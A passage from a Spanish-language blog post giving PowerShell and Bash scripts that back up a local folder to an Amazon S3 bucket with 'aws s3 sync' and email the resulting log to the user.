# Compatibles en sistemas Windows: "C:/pathLocal/datos/" o "C:\\pathLocal\\datos\\"
$pathLocalDatos = "C:\\pathLocal\\datos\\"
$pathRemotoBucketS3 = "s3://bucketS3/backup/"
$backupLog = "backup_$fechaActual.log"

# Comprobar si existen ficheros de log pasados del backup
if (Test-Path "*backup*.log") {
    Remove-Item -Path "*backup*.log" -Recurse -Force
    }

# Mostrar fecha y hora del comienzo del proceso de backup al princpio del log
Write-Output "Backup comienza: $fechaHoraActual" > $backupLog
Write-Output "# # # # # # # # # # # # # # # # # # # #`n" >> $backupLog

# Sincronizar datos locales a bucket S3 de AWS
aws s3 sync $pathLocalDatos $pathRemotoBucketS3 --sse AES256 --delete --include "*" >> $backupLog

Write-Output "`n# # # # # # # # # # # # # # # # # # # #" >> $backupLog
# Mostrar fecha y hora de la finalización del proceso de backup al final del log
# Resetear la variable $fechaHoraActual para obtener la hora actual hasta este momento del proceso de backup
$fechaHoraActual = Get-Date -uformat "%d/%m/%Y - %H:%M:%S"
Write-Output "Backup finaliza: $fechaHoraActual" >> $backupLog

# Body Email
$cuerpoEmail = [system.io.file]::ReadAllText($backupLog)

# Alternativas usando Get-Content
# $cuerpoEmail = Get-Content "$backupLog" | Out-String
# $cuerpoEmail = Get-Content "$backupLog" -Raw

# Envío del fichero log adjunto vía Email usando Gmail.
Send-MailMessage -From $usuarioEmail -To $usuarioEmail -Subject "$asuntoEmail - $fechaHoraActual" -Body "$cuerpoEmail" -Attachments "$backupLog" -SmtpServer smtp.gmail.com -UseSsl -Credential $credencialesEmail
exit

Bash (Linux y MacOS)

# Fecha y Hora
fechaHoraActual="$(date +'%d/%m/%Y - %H:%M:%S')"
fechaActual="$(date +'%d-%m-%Y')"

# Email
envioEmailCuentaUsuario="emailCuentaUsuario@gmail.com"
asuntoEmail="asuntoEmail"
cuerpoEmail="cuerpoEmail"

# Paths
pathLocalDatos="/pathLocal/datos/"
pathRemotoBucketS3="s3://bucketS3/backup/"
backupLog="backup_$fechaActual.log"

# Comprobar si existen ficheros de log pasados del backup
if [ -f "*backup*.log" ];
then
    rm -f "*backup*.log"
fi

# Mostrar fecha y hora del comienzo del proceso de backup al princpio del log
echo "Backup comienza: $fechaHoraActual" > $backupLog
echo -e "# # # # # # # # # # # # # # # # # # # #\n" >> $backupLog

# Sincronizar datos locales a bucket S3 de AWS
aws s3 sync $pathLocalDatos $pathRemotoBucketS3 --sse AES256 --delete --include "*" >> $backupLog

echo -e "\n# # # # # # # # # # # # # # # # # # # #" >> $backupLog
# Mostrar fecha y hora de la finalización del proceso de backup al final del log
# Resetear la variable fechaHoraActual para obtener la hora actual hasta este momento del proceso de backup
fechaHoraActual="$(date +'%d/%m/%Y - %H:%M:%S')"
echo "Backup finaliza: $fechaHoraActual" >> $backupLog

# Elegir una opción de envío (a o b)

# a) Envío del fichero log adjunto vía Email usando el comando mail.
echo "$cuerpoEmail" | mail -s "$asuntoEmail" "$envioEmailCuentaUsuario" -A "$backupLog"

# b) Envío del contenido del fichero log en el cuerpo del Email usando el comando mail.
cat "$backupLog" | mail -s "$asuntoEmail" "$envioEmailCuentaUsuario"
Como ya comenté anteriormente en el repositorio de Github hay más información paso a paso de como implementar esta forma de sincronizar datos locales un bucket de Amazon S3.

Saludos!
Entradas Relacionadas